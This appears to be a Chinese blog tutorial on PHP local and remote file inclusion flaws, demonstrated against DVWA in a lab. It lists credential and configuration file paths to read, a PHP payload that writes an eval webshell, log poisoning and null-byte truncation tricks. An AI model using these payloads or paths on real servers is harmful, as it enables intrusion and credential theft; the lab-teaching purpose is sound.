Web漏洞_文件包含(原理、分类、利用)

一、原理

  • 编程语言中设计了可以在某个代码中包含其他已经写好或者可以供其他代码调用的文件,如调用一些定义好的类或者函数。而正是因为可以包含其他文件从而有可能会产生文件包含漏洞。
  • 大多数Web语言都可以使用文件包含操作,由于PHP语言的文件包含功能强大因此也容易出现文件包含漏洞。况且目前大部分网站由PHP开发,所以着重先研究PHP文件包含漏洞。

PHP中的包含函数:

include():如果包含文件未找到会显示警告,脚本继续执行;
include_once():包含过的文件不再包含,包含文件未找到会显示警告,脚本继续执行;
require():包含文件未找到会产生致命错误,脚本终止;
require_once():包含过的文件不再包含,包含文件未找到会产生致命错误,脚本终止。

二、分类

1、本地文件包含 Local File Include (LFI)

  • 本地文件包含故名包含的文件在本地服务器;
  • 当网站存在文件包含漏洞时,包含的文件只要符合php语法规范,PHP解析器就会对其解析,文件如果不符合PHP语法规范则会暴露出源代码。若包含一个根本不存在的文件则会爆出网站的绝对路径。

示例(配合文件上传):

  • 首先在DVWA文件上传漏洞模块上传一个test.txt,内容为<?php phpinfo();?>
    在这里插入图片描述
  • 然后在DVWA的文件包含漏洞模块(Low级别)中在URL中队test.txt进行文件包含
    在这里插入图片描述
    可以看到,即使文件不是php的后缀也会按照php进行解析
    在这里插入图片描述
    若网站存在文件包含漏洞,当我们输入一个不存在的文件时,会爆出网站的根目录
    在这里插入图片描述

2、远程文件包含 Remote File Include (RFI)

  • 远程文件包含故名包含的文件不在本地服务器,而需要远程访问其他服务器
  • 前提:PHP开启了远程包含功能(php.ini中allow_url_include=on)

示例:

  1. 准备一台远程文件包含的服务器(我这里在虚拟机中开启了一个win7开启phpstudy,ip为192.168.216.130),然后在网站根目录下建立test.txt
    在这里插入图片描述
  2. 然后浏览器访问DVWA文件包含漏洞模块,在地址栏中进行远程文件包含
    在这里插入图片描述
    同样解析了test.txt中的代码

三、利用

大致可以分成以下6点

  1. 访问敏感文件
  2. 本地文件包含结合文件上传写shell
  3. 远程文件包含写shell
  4. 使用PHP封装协议
  5. 包含apache日志
  6. 截断包含(magic_quotes_gpc=off)php version <= 5.3.0magic_quotes_gpc自动开启。之后版本自动关闭

访问敏感文件

Windows系统
c:\boot.ini                                                                     // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml               //  IIS配置文件
c:\windows\repair\sam                                                 //  存储Windows系统初次安装的密码
c:\Program Files\mysql\my,ini                                      //   MySQL配置
c:\Program Files\mysql\data\mysql\user.MYD             //   MySQL root
c:\windows\php.ini                                                       //   php 配置信息
c:\windows\my.ini                                                         //   MySQL 配置文件
Linux/Unix系统
/etc/passwd                                                                 //  账户信息
/etc/shadow                                                                 //  账户密码文件
/usr/local/app/apache2/conf/httpd.conf                       //   Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf    //   虚拟网站配置
/usr/local/app/php5/lib/php.ini                                     //   PHP相关配置
/etc/httpd/conf/httpd.conf                                            //   Apache配置文件
/etc/my.conf                                                                 //   mysql 配置文件

本地文件包含结合文件上传写shell

当我们上传一个图片马在对方服务器无法解析时,即菜刀无法连shell的时候,可以上传一个包含写文件操作的图片马,然后通过文件包含对其执行后。目标服务器就会生成一个可供菜刀连接的shell

  1. 首先制作图片马包含<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[psd])?>');?> //这句话的意思为打开shell.php如果没有会新建,然后将第二个参数的代码写入到第一个参数的文件中图片马制作方法可参见windows cmd制作图片木马。然后通过文件上传将此图片马上传。
    在这里插入图片描述

  2. 对其进行本地文件包含
    在这里插入图片描述
    此时会在文件包含的目录下面生成shell.php,密码为psd

  3. 通过菜刀进行连接,这里需要注意的是我们包含的为上传目录的文件,但是生成的文件是在当前文件包含目录下的,即我们生成的shell文件在文件包含目录下。
    在这里插入图片描述

远程文件包含写shell

远程文件包含类似本地文件包含,只是包含的文件在另一台服务器上,这里依旧以之前做过的win7上进行,将之前做好的图片马上传到win7网站根目录下然后访问DVWA进行远程文件包含
在这里插入图片描述
然后进行菜刀连接
在这里插入图片描述

包含apache日志

当访问一个服务器不存在的文件时,会显示文件不存在的错误,此时所访问的文件名也会记录到apache的error.log日志中,可以利用这一点访问一条一句话木马使得代码被写入到error.log中,然后队apache的错误日志进行包含。

截断包含

有些后台程序会在文件包含时后边加上文件的后缀,所以包含的时候只需要输入文件名即可不用加后缀。如果后台设置自动加上后缀为php,但我们上传了一张图片马,此时包含后文件整体就变成了x.jpg.php,此时如果magic_quotes_gpc=off,可以利用%00对其进行截断。即URL中包含写成x.jpg%00。此时在解析时就会将后台自动加上的php后缀忽略。

欢迎关注我的微信公众号获取更多靶机、工具资源及虚拟机镜像文件:justbeatrex
在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章